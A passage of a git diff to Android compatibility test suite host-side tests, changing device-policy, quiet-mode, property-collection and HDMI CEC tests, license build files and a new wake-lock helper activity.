-    public void testAccountManagement_userRestrictionAddAccount() throws Exception {
-        installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
-        try {
-            changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, true, mUserId);
-            executeAccountTest("testAddAccount_blocked");
-        } finally {
-            // Ensure we clear the user restriction
-            changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, false, mUserId);
-        }
-        executeAccountTest("testAddAccount_allowed");
-    }
-
-    // TODO(b/197491427): AccountManager support in TestApp
-    @Test
-    public void testAccountManagement_userRestrictionRemoveAccount() throws Exception {
-        installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
-        try {
-            changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, true, mUserId);
-            executeAccountTest("testRemoveAccount_blocked");
-        } finally {
-            // Ensure we clear the user restriction
-            changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, false, mUserId);
-        }
-        executeAccountTest("testRemoveAccount_allowed");
-    }
-
-    // TODO(b/197491427): AccountManager support in TestApp
-    @Test
-    public void testAccountManagement_disabledAddAccount() throws Exception {
-        installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
-        try {
-            changeAccountManagement(COMMAND_BLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
-            executeAccountTest("testAddAccount_blocked");
-        } finally {
-            // Ensure we remove account management policies
-            changeAccountManagement(COMMAND_UNBLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
-        }
-        executeAccountTest("testAddAccount_allowed");
-    }
-
-    // TODO(b/197491427): AccountManager support in TestApp
-    @Test
-    public void testAccountManagement_disabledRemoveAccount() throws Exception {
-        installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
-        try {
-            changeAccountManagement(COMMAND_BLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
-            executeAccountTest("testRemoveAccount_blocked");
-        } finally {
-            // Ensure we remove account management policies
-            changeAccountManagement(COMMAND_UNBLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
-        }
-        executeAccountTest("testRemoveAccount_allowed");
-    }
-
     @Test
     public void testDelegatedCertInstaller() throws Exception {
         installAppAsUser(CERT_INSTALLER_APK, mUserId);
@@ -840,6 +793,7 @@
     @Test
     public void testSetMeteredDataDisabledPackages() throws Exception {
         assumeHasWifiFeature();
+        assumeFalse("is watch", hasDeviceFeature("android.hardware.type.watch"));
 
         installAppAsUser(METERED_DATA_APP_APK, mUserId);
 
@@ -1274,8 +1228,6 @@
 
     }
 
-    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197859595",
-            reason = "Will be migrated to new test infra")
     @Test
     public void testSetKeyPairCertificateLogged() throws Exception {
         assertMetricsLogged(getDevice(), () -> {
@@ -1339,6 +1291,16 @@
 
     @Test
     public void testPasswordMethodsLogged() throws Exception {
+        if (isAutomotive()) {
+            assertMetricsLogged(getDevice(), () -> {
+                executeDeviceTestMethod(".DevicePolicyLoggingTest", "testPasswordMethodsLogged");
+            }, new DevicePolicyEventWrapper.Builder(EventId.SET_PASSWORD_COMPLEXITY_VALUE)
+                    .setAdminPackageName(DEVICE_ADMIN_PKG)
+                    .setInt(0x50000)
+                    .setBoolean(false)
+                    .build());
+            return;
+        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".DevicePolicyLoggingTest", "testPasswordMethodsLogged");
         }, new DevicePolicyEventWrapper.Builder(EventId.SET_PASSWORD_QUALITY_VALUE)
@@ -1776,7 +1738,12 @@
 
     protected void installAppPermissionAppAsUser()
             throws FileNotFoundException, DeviceNotAvailableException {
-        installAppAsUser(PERMISSIONS_APP_APK, false, mUserId);
+        installAppPermissionAppAsUser(mUserId);
+    }
+
+    protected final void installAppPermissionAppAsUser(int userId)
+            throws FileNotFoundException, DeviceNotAvailableException {
+        installAppAsUser(PERMISSIONS_APP_APK, false, userId);
     }
 
     private void executeSuspendPackageTestMethod(String testName) throws Exception {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index eb7d33e..bf7186d 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -332,6 +332,53 @@
         executeCreateAndManageUserTest("testCreateAndManageUser_RemoveRestrictionSet");
     }
 
+    @Test
+    public void testCreateAndManageUser_newUserDisclaimer() throws Exception {
+        assumeCanStartNewUser();
+
+        // TODO(b/217367529) - we need to grant INTERACT_ACROSS_USERS to the test app in the new
+        // user, so the test is retrying until it gets it, which is done in this thread - not the
+        // best approach, but given that the test cases are being migrated to the new infra,
+        // it's good enough enough...
+        int waitingTimeMs = 5_000;
+        final int maxAttempts = 10;
+        new Thread(() -> {
+            int attempt = 0;
+            boolean granted = false;
+            while (!granted && ++attempt <= maxAttempts) {
+                try {
+                    List<Integer> newUsers = getUsersCreatedByTests();
+                    if (!newUsers.isEmpty()) {
+                        for (int userId : newUsers) {
+                            CLog.i("Checking if user %d is current user", userId);
+                            int currentUser = getCurrentUser();
+                            if (currentUser != userId) continue;
+                            CLog.i("Checking if user %d has the package", userId);
+                            if (!isPackageInstalledForUser(DEVICE_OWNER_PKG, userId)) continue;
+                            grantPermission(DEVICE_OWNER_PKG, PERMISSION_INTERACT_ACROSS_USERS,
+                                    userId, "to call isNewUserDisclaimerAcknowledged() and "
+                                    + "acknowledgeNewUserDisclaimer()");
+                            granted = true;
+                        }
+                    }
+
+                    if (!granted) {
+                        CLog.i("Waiting %dms until new user is switched and package installed "
+                                + "to grant INTERACT_ACROSS_USERS", waitingTimeMs);
+                    }
+                    sleep(waitingTimeMs);
+                } catch (Exception e) {
+                    CLog.e(e);
+                    return;
+                }
+            }
+            CLog.i("%s says: Good Bye, and thanks for all the fish! BTW, granted=%b in %d attempts",
+                    Thread.currentThread(), granted, attempt);
+        }, "testCreateAndManageUser_newUserDisclaimer_Thread").start();
+
+        executeCreateAndManageUserTest("testCreateAndManageUser_newUserDisclaimer");
+    }
+
     @FlakyTest(bugId = 126955083)
     @Test
     public void testUserAddedOrRemovedBroadcasts() throws Exception {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
index cd4a9ca..5132bf2 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
@@ -35,6 +35,7 @@
 import org.junit.Ignore;
 import org.junit.Test;
 
+import java.io.FileNotFoundException;
 import java.util.ArrayList;
 import java.util.Collections;
 import java.util.HashMap;
@@ -88,6 +89,16 @@
         super.tearDown();
     }
 
+    @Override
+    protected void installAppPermissionAppAsUser()
+            throws FileNotFoundException, DeviceNotAvailableException {
+        super.installAppPermissionAppAsUser();
+
+        if (isHeadlessSystemUserMode()) {
+            installAppPermissionAppAsUser(mDeviceOwnerUserId);
+        }
+    }
+
     @Test
     public void testLockTask_unaffiliatedUser() throws Exception {
         assumeCanCreateAdditionalUsers(1);
@@ -107,6 +118,24 @@
                 userId);
     }
 
+    @Override
+    @Test
+    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+            reason = "Will be migrated to new test infra")
+    public void testDelegation() throws Exception {
+        super.testDelegation();
+    }
+
+    @Override
+    @Test
+    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+            reason = "Will be migrated to new test infra")
+    public void testDelegationCertSelection() throws Exception {
+        super.testDelegationCertSelection();
+    }
+
+    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+            reason = "Will be migrated to new test infra")
     @Test
     public void testDelegatedCertInstallerDeviceIdAttestation() throws Exception {
         setUpDelegatedCertInstallerAndRunTests(() ->
@@ -115,6 +144,13 @@
                         "testGenerateKeyPairWithDeviceIdAttestationExpectingSuccess", mUserId));
     }
 
+    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+            reason = "Will be migrated to new test infra")
+    @Override
+    public void testDelegatedCertInstaller() throws Exception {
+        super.testDelegatedCertInstaller();
+    }
+
     @FlakyTest(bugId = 141161038)
     @Override
     @Test
@@ -140,22 +176,6 @@
         executeDeviceTestClass(".AdminConfiguredNetworksTest");
     }
 
-    @Override
-    @Test
-    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197909577",
-            reason = "Will be migrated to new test infra")
-    public void testAccountManagement_userRestrictionAddAccount() throws Exception {
-        super.testAccountManagement_userRestrictionAddAccount();
-    }
-
-    @Override
-    @Test
-    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197909577",
-            reason = "Will be migrated to new test infra")
-    public void testAccountManagement_userRestrictionRemoveAccount() throws Exception {
-        super.testAccountManagement_userRestrictionRemoveAccount();
-    }
-
     @Test
     public void testSetTime() throws Exception {
         assertMetricsLogged(getDevice(), () -> {
@@ -510,52 +530,48 @@
 
     @Override
     @Test
-    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
-            + "makes sense as keys generated by DO wouldn't match keys checked by PO")
-    public void testKeyManagement() throws Exception {
-        super.testKeyManagement();
-    }
-
-    @Override
-    @Test
-    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
-            + "makes sense as keys generated by DO wouldn't match keys checked by PO")
-    public void testGenerateKeyPairLogged() throws Exception {
-        super.testGenerateKeyPairLogged();
-    }
-
-    @Override
-    @Test
-    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
-            + "makes sense as keys generated by DO wouldn't match keys checked by PO")
-    public void testDelegatedCertInstallerDirectly() throws Exception {
-        super.testDelegatedCertInstallerDirectly();
-    }
-
-    @Override
-    @Test
-    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
-            + "makes sense as keys generated by DO wouldn't match keys checked by PO")
-    public void testSetKeyGrant() throws Exception {
-        super.testSetKeyGrant();
-    }
-
-    @Override
-    @Test
-    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
-            + "makes sense as keys generated by DO wouldn't match keys checked by PO")
-    public void testSetKeyPairCertificateLogged() throws Exception {
-        super.testSetKeyPairCertificateLogged();
-    }
-
-    @Override
-    @Test
     @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't have UI / credentials")
     public void testSetKeyguardDisabledFeatures() throws Exception {
         super.testSetKeyguardDisabledFeatures();
     }
 
     @Override
+    @Test
+    @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+    public void testPermissionAppUpdate() throws Exception {
+        super.testPermissionAppUpdate();
+    }
+
+    @Override
+    @Test
+    @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+    public void testPermissionMixedPolicies() throws Exception {
+        super.testPermissionMixedPolicies();
+    }
+
+    @Override
+    @Test
+    @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+    public void testPermissionPolicy() throws Exception {
+        super.testPermissionPolicy();
+    }
+
+    @Override
+    @Test
+    @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+    public void testAutoGrantMultiplePermissionsInGroup() throws Exception {
+        super.testAutoGrantMultiplePermissionsInGroup();
+    }
+
+    @Override
+    @Test
+    @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+    public void testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted()
+            throws Exception {
+        super.testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted();
+    }
+
+    @Override
     public void testApplicationHidden() throws Exception {
         if (isHeadlessSystemUserMode()) {
             // Must run on user 0 because the test has a broadcast receiver that listen to packages
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
index 4c94a5d..3a8eef6 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
@@ -404,6 +404,7 @@
     @Test
     public void testPersonalAppsSuspensionSms() throws Exception {
         assumeHasTelephonyFeature();
+        assumeSupportsSms();
 
         // Install an SMS app and make it the default.
         installAppAsUser(SIMPLE_SMS_APP_APK, mPrimaryUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
index d157fc0..e1f3901 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
@@ -143,9 +143,13 @@
                 "testTryEnableQuietMode",
                 mPrimaryUserId,
                 createParams(mProfileId));
+        // In case of a necessary log is not captured
+        // cause of too many logs while waiting idle broadcast, capture log previously.
+        // This log will be concatenated.
+        String log = getDevice().executeAdbCommand("logcat", "-d");
         waitForBroadcastIdle();
         verifyBroadcastSent("android.intent.action.MANAGED_PROFILE_UNAVAILABLE",
-                /* needPermissions= */ !withCrossProfileAppOps);
+                /* needPermissions= */ !withCrossProfileAppOps, log);
 
         clearLogcat();
         runDeviceTestsAsUser(
@@ -154,15 +158,17 @@
                 "testTryDisableQuietMode",
                 mPrimaryUserId,
                 createParams(mProfileId));
+        log = getDevice().executeAdbCommand("logcat", "-d");
         waitForBroadcastIdle();
         verifyBroadcastSent("android.intent.action.MANAGED_PROFILE_AVAILABLE",
-                /* needPermissions= */ !withCrossProfileAppOps);
+                /* needPermissions= */ !withCrossProfileAppOps, log);
 
         clearLogcat();
         removeUser(mProfileId);
+        log = getDevice().executeAdbCommand("logcat", "-d");
         waitForBroadcastIdle();
         verifyBroadcastSent("android.intent.action.MANAGED_PROFILE_REMOVED",
-                /* needPermissions= */ false);
+                /* needPermissions= */ false, log);
     }
 
     private void clearLogcat() throws DeviceNotAvailableException {
@@ -170,9 +176,10 @@
         getDevice().executeAdbCommand("logcat", "-G", "16M");
     }
 
-    private void verifyBroadcastSent(String actionName, boolean needPermissions)
+    private void verifyBroadcastSent(String actionName, boolean needPermissions, String prevLog)
             throws DeviceNotAvailableException {
-        final String result = getDevice().executeAdbCommand("logcat", "-d");
+        String result = getDevice().executeAdbCommand("logcat", "-d");
+        result = prevLog + result;
         assertThat(result).contains(
                 buildReceivedBroadcastRegex(actionName, "CrossProfileEnabledAppReceiver"));
         assertThat(result).contains(
diff --git a/hostsidetests/edi/src/android/edi/cts/PropertyDeviceInfo.java b/hostsidetests/edi/src/android/edi/cts/PropertyDeviceInfo.java
index b9f6ea1..3c99725 100644
--- a/hostsidetests/edi/src/android/edi/cts/PropertyDeviceInfo.java
+++ b/hostsidetests/edi/src/android/edi/cts/PropertyDeviceInfo.java
@@ -37,13 +37,12 @@
             ITestDevice device = getDevice();
             CommandResult commandResult = device.executeShellV2Command("getprop");
             if (commandResult.getExitCode() == null) {
-                CLog.e("getprop exit code is null");
-                return;
+                throw new NullPointerException("getprop exit code is null");
             }
             if (commandResult.getExitCode() != 0) {
-                CLog.e("getprop returns %d: %s", commandResult.getExitCode(),
-                        commandResult.getStderr());
-                return;
+                throw new IllegalStateException(
+                        String.format("getprop returns %d: %s", commandResult.getExitCode(),
+                                commandResult.getStderr()));
             }
             if (commandResult.getExitCode() == 0 && !commandResult.getStderr().isEmpty()) {
                 CLog.w("Warnings occur when running getprop:\n%s",
@@ -59,6 +58,7 @@
     private void parseProps(String stdout, HostInfoStore store) throws Exception {
         Pattern pattern = Pattern.compile("\\[(ro.+)\\]: \\[(.+)\\]");
         if (stdout == null) stdout = "";
+        boolean hasMatched = false;
         try (Scanner scanner = new Scanner(stdout)) {
             while (scanner.hasNextLine()) {
                 String line = scanner.nextLine();
@@ -71,8 +71,13 @@
                     store.addResult("name", name);
                     store.addResult("value", value);
                     store.endGroup();
+                    hasMatched = true;
                 }
             }
         }
+        if (!hasMatched) {
+            throw new IllegalStateException(
+                    "Unable to find any read-only properties. Output is " + stdout);
+        }
     }
 }
diff --git a/hostsidetests/gputools/Android.bp b/hostsidetests/gputools/Android.bp
index f919a8c..28730ae 100644
--- a/hostsidetests/gputools/Android.bp
+++ b/hostsidetests/gputools/Android.bp
@@ -14,12 +14,7 @@
 
 package {
     // See: http://go/android-license-faq
-    // A large-scale-change added 'default_applicable_licenses' to import
-    // all of the 'license_kinds' from "cts_license"
-    // to get the below license kinds:
-    //   SPDX-license-identifier-Apache-2.0
-    //   SPDX-license-identifier-MIT
-    default_applicable_licenses: ["cts_license"],
+    default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
 java_test_host {
diff --git a/hostsidetests/gputools/layers/Android.bp b/hostsidetests/gputools/layers/Android.bp
index 8d294d6..b007cb5 100644
--- a/hostsidetests/gputools/layers/Android.bp
+++ b/hostsidetests/gputools/layers/Android.bp
@@ -14,12 +14,16 @@
 
 package {
     // See: http://go/android-license-faq
-    // A large-scale-change added 'default_applicable_licenses' to import
-    // all of the 'license_kinds' from "cts_license"
-    // to get the below license kinds:
-    //   SPDX-license-identifier-Apache-2.0
-    //   SPDX-license-identifier-MIT
-    default_applicable_licenses: ["cts_license"],
+    default_applicable_licenses: [
+        "Android-Apache-2.0",
+        "cts_hostsidetests_gputools_layers_vulkan_license",
+    ],
+}
+
+license {
+    name: "cts_hostsidetests_gputools_layers_vulkan_license",
+    license_kinds: ["SPDX-license-identifier-MIT"],
+    license_text: ["LICENSE_MIT"]
 }
 
 cc_test_library {
diff --git a/hostsidetests/gputools/layers/LICENSE_MIT b/hostsidetests/gputools/layers/LICENSE_MIT
new file mode 100644
index 0000000..fe3c973
--- /dev/null
+++ b/hostsidetests/gputools/layers/LICENSE_MIT
@@ -0,0 +1,18 @@
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and/or associated documentation files (the "Materials"), to
+deal in the Materials without restriction, including without limitation the
+rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
+sell copies of the Materials, and to permit persons to whom the Materials are
+furnished to do so, subject to the following conditions:
+
+The above copyright notice(s) and this permission notice shall be included in
+all copies or substantial portions of the Materials.
+
+THE MATERIALS ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+
+IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
+DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
+OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE MATERIALS OR THE
+USE OR OTHER DEALINGS IN THE MATERIALS.
diff --git a/hostsidetests/graphics/gpumetrics/OWNERS b/hostsidetests/graphics/gpumetrics/OWNERS
new file mode 100644
index 0000000..959ca7c
--- /dev/null
+++ b/hostsidetests/graphics/gpumetrics/OWNERS
@@ -0,0 +1,7 @@
+# Bug component: 653544
+paulthomson@google.com
+pbaiget@google.com
+chrisforbes@google.com
+lpy@google.com
+lfy@google.com
+alecmouri@google.com
diff --git a/hostsidetests/hdmicec/Android.bp b/hostsidetests/hdmicec/Android.bp
index 6c74675..93eb09b 100644
--- a/hostsidetests/hdmicec/Android.bp
+++ b/hostsidetests/hdmicec/Android.bp
@@ -29,6 +29,7 @@
         "cts-tradefed",
         "tradefed",
         "compatibility-host-util",
+        "androidx.annotation_annotation",
     ],
     data: [
         ":HdmiCecHelperApp",
diff --git a/hostsidetests/hdmicec/README.md b/hostsidetests/hdmicec/README.md
index b774e46..ce86536 100644
--- a/hostsidetests/hdmicec/README.md
+++ b/hostsidetests/hdmicec/README.md
@@ -10,16 +10,16 @@
 
 ## Setup
 
-### Playback devices (aka Set Top Boxes)
+### Source devices
 
 Running these CTS tests requires a specific HDMI layout with a CEC adapter.
 
-*   Android TV playback device
+*   Android TV source device, e.g. a playback device or an audio system
 *   CEC adapter, see [External CEC Adapter instructions](cec_adapter.md)
 *   Install `cec-client` binary, see [install instructions](cec_adapter.md#software)
 *   HDMI Display (aka a TV) with CEC disabled to avoid interference, or an HDMI fake plug
 
-It is recommended that the playback device has an HDMI physical address of `1.0.0.0` while running
+It is recommended that the source device has an HDMI physical address of `1.0.0.0` while running
 the tests. In case the DUT takes a physical address other than `1.0.0.0` and this is unavoidable,
 the tests can be configured to expect a different physical address by appending these arguments to
 the tradefed command:
@@ -28,7 +28,7 @@
 ```
 Thus, for a device that is taking an address `3.0.0.0`, pass `12288` as the `cec-phy-addr` argument.
 
-The CEC adapter may also be installed in-between the TV and the playback device.
+The CEC adapter may also be installed in-between the TV and the source device.
 
 ![drawing](setup.png)
 
diff --git a/hostsidetests/hdmicec/app/Android.bp b/hostsidetests/hdmicec/app/Android.bp
index 09f4fbf..965746b 100644
--- a/hostsidetests/hdmicec/app/Android.bp
+++ b/hostsidetests/hdmicec/app/Android.bp
@@ -20,7 +20,6 @@
     name: "HdmiCecHelperApp",
     defaults: ["cts_defaults"],
     platform_apis: true,
-    certificate: "platform",
     srcs: ["src/**/*.java"],
     static_libs: [
         "androidx.test.runner",
diff --git a/hostsidetests/hdmicec/app/AndroidManifest.xml b/hostsidetests/hdmicec/app/AndroidManifest.xml
index 06e994d..4eb046e3 100644
--- a/hostsidetests/hdmicec/app/AndroidManifest.xml
+++ b/hostsidetests/hdmicec/app/AndroidManifest.xml
@@ -19,7 +19,7 @@
      package="android.hdmicec.app">
     <uses-feature android:name="android.software.leanback"
          android:required="false"/>
-    <uses-permission android:name="android.permission.HDMI_CEC" />
+    <uses-permission android:name="android.permission.WAKE_LOCK" />
     <application>
         <activity android:name=".HdmiCecKeyEventCapture"
              android:exported="true">
@@ -28,6 +28,15 @@
                 <category android:name="android.intent.category.LEANBACK_LAUNCHER"/>
             </intent-filter>
         </activity>
+        <activity android:name=".HdmiCecWakeLock"
+            android:launchMode="singleTop"
+            android:exported="true" >
+            <intent-filter>
+                <action android:name="android.hdmicec.app.ACQUIRE_LOCK" />
+                <action android:name="android.hdmicec.app.RELEASE_LOCK" />
+                <category android:name="android.intent.category.LEANBACK_LAUNCHER"/>
+            </intent-filter>
+        </activity>
          <activity android:name=".HdmiCecAudioManager"
               android:exported="true">
             <intent-filter>
@@ -39,13 +48,6 @@
                 <category android:name="android.intent.category.LEANBACK_LAUNCHER"/>
             </intent-filter>
         </activity>
-        <activity android:name=".HdmiControlManagerHelper" >
-            <intent-filter>
-                <action android:name="android.hdmicec.app.OTP" />
-                <action android:name="android.hdmicec.app.DEVICE_SELECT" />
-            </intent-filter>
-        </activity>
-
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiCecWakeLock.java b/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiCecWakeLock.java
new file mode 100644
index 0000000..e1c0c13
--- /dev/null
+++ b/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiCecWakeLock.java
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.app;
+
+import static android.os.PowerManager.PARTIAL_WAKE_LOCK;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.PowerManager;
+import android.os.PowerManager.WakeLock;
+import android.util.Log;
+
+/**
+ * A simple activity that can be used to acquire and release the wake lock for controlling power
+ * management. The actions supported are:
+ *
+ * <p>
+ *
+ * <p>1. android.hdmicec.app.ACQUIRE_LOCK: Acquires the wake lock.
+ *
+ * <p>Usage: <code>START_COMMAND -a android.hdmicec.app.ACQUIRE_LOCK</code>
+ *
+ * <p>2. android.hdmicec.app.RELEASE_LOCK: Releases the wake lock.
+ *
+ * <p>Usage: <code>START_COMMAND -a android.hdmicec.app.RELEASE_LOCK</code>
+ *
+ * <p>
+ *
+ * <p>where START_COMMAND is
+ *
+ * <p><code>
+ * adb shell am start -n "android.hdmicec.app/android.hdmicec.app.HdmiCecWakeLock -a "
+ * </code>
+ */
+public class HdmiCecWakeLock extends Activity {
+    private static final String TAG = HdmiCecWakeLock.class.getSimpleName();
+    private WakeLock mWakeLock;
+
+    @Override
+    public void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+
+        handleIntent(getIntent().getAction());
+    }
+
+    // Overriding this method since we expect intents to be sent to this activity.
+    @Override
+    public void onNewIntent(Intent intent) {
+        super.onNewIntent(intent);
+        handleIntent(intent.getAction());
+    }
+
+    private void handleIntent(String action) {
+        if (mWakeLock == null && !initializeWakeLock()) {
+            return;
+        }
+        switch (action) {
+            case "android.hdmicec.app.ACQUIRE_LOCK":
+                acquireWakeLock();
+                break;
+            case "android.hdmicec.app.RELEASE_LOCK":
+                releaseWakeLock();
+                // Finish the activity after releasing the lock.
+                finish();
+                break;
+            default:
+                Log.i(TAG, "Unknown intent!");
+        }
+    }
+
+    private boolean initializeWakeLock() {
+        PowerManager powerManager = getSystemService(PowerManager.class);
+        if (powerManager == null) {
+            Log.i(TAG, "Failed to get PowerManager");
+            return false;
+        }
+        // Creates a new wake lock.
+        mWakeLock = powerManager.newWakeLock(PARTIAL_WAKE_LOCK, TAG);
+        mWakeLock.setReferenceCounted(false);
+        Log.i(TAG, "wake lock object is : " + mWakeLock.toString());
+        return true;
+    }
+
+    private void acquireWakeLock() {
+        if (!mWakeLock.isHeld()) {
+            mWakeLock.acquire();
+            Log.i(TAG, "Acquired wake lock.");
+        } else {
+            Log.i(TAG, "Wake lock is already acquired.");
+        }
+    }
+
+    private void releaseWakeLock() {
+        if (mWakeLock.isHeld()) {
+            mWakeLock.release();
+            Log.i(TAG, "Released wake lock.");
+        } else {
+            Log.i(TAG, "No active wake locks to release.");
+        }
+    }
+}
diff --git a/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiControlManagerHelper.java b/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiControlManagerHelper.java
index 5ff7aaa..fbc07ae 100755
--- a/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiControlManagerHelper.java
+++ b/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiControlManagerHelper.java
@@ -16,67 +16,64 @@
 
 package android.hdmicec.app;
 
-import android.app.Activity;
+import static android.Manifest.permission.HDMI_CEC;
+
+import android.content.Context;
+import android.hardware.hdmi.HdmiClient;
 import android.hardware.hdmi.HdmiControlManager;
-import android.hardware.hdmi.HdmiPlaybackClient;
 import android.hardware.hdmi.HdmiTvClient;
-import android.os.Bundle;
 import android.util.Log;
+import android.view.KeyEvent;
+
+
+import java.util.concurrent.TimeUnit;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
- * A simple activity that can be used to trigger actions using the HdmiControlManager. The actions
- * supported are:
- *
- * <p>
- *
- * <p>1. android.hdmicec.app.OTP: Triggers the OTP
- *
- * <p>Usage: <code>START_COMMAND -a android.hdmicec.app.OTP</code>
- *
- * <p>
- *
- * <p>2. android.hdmicec.app.SELECT_DEVICE: Selects a device to be the active source. The logical
- * address of the device that has to be made the active source has to passed as a parameter.
- *
- * <p>Usage: <code>START_COMMAND -a android.hdmicec.app.DEVICE_SELECT --ei "la" [LOGICAL_ADDRESS]
- * </code>
- *
- * <p>
- *
- * <p>where START_COMMAND is
- *
- * <p><code>
- * adb shell am start -n "android.hdmicec.app/android.hdmicec.app.HdmiControlManagerHelper"
- * </code>
+ * A simple class that can be used to trigger actions using the HdmiControlManager.
  */
-public class HdmiControlManagerHelper extends Activity {
-
+@RunWith(AndroidJUnit4.class)
+public final class HdmiControlManagerHelper {
+    private static final String LOGICAL_ADDR = "ARG_LOGICAL_ADDR";
     private static final String TAG = HdmiControlManagerHelper.class.getSimpleName();
+    private static final int VENDOR_ID = 0xBADDAD;
+    private static final HdmiControlManager.VendorCommandListener vendorCommandListenerWithoutId =
+            new VendorCommandTestListener();
+    private static final HdmiControlManager.VendorCommandListener vendorCommandListenerWithId =
+            new VendorCommandTestListener(VENDOR_ID);
+
     HdmiControlManager mHdmiControlManager;
 
-    @Override
-    public void onCreate(Bundle icicle) {
-        super.onCreate(icicle);
+    @Before
+    public void setUp() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+                HDMI_CEC);
 
-        mHdmiControlManager = getSystemService(HdmiControlManager.class);
+        mHdmiControlManager = context.getSystemService(HdmiControlManager.class);
         if (mHdmiControlManager == null) {
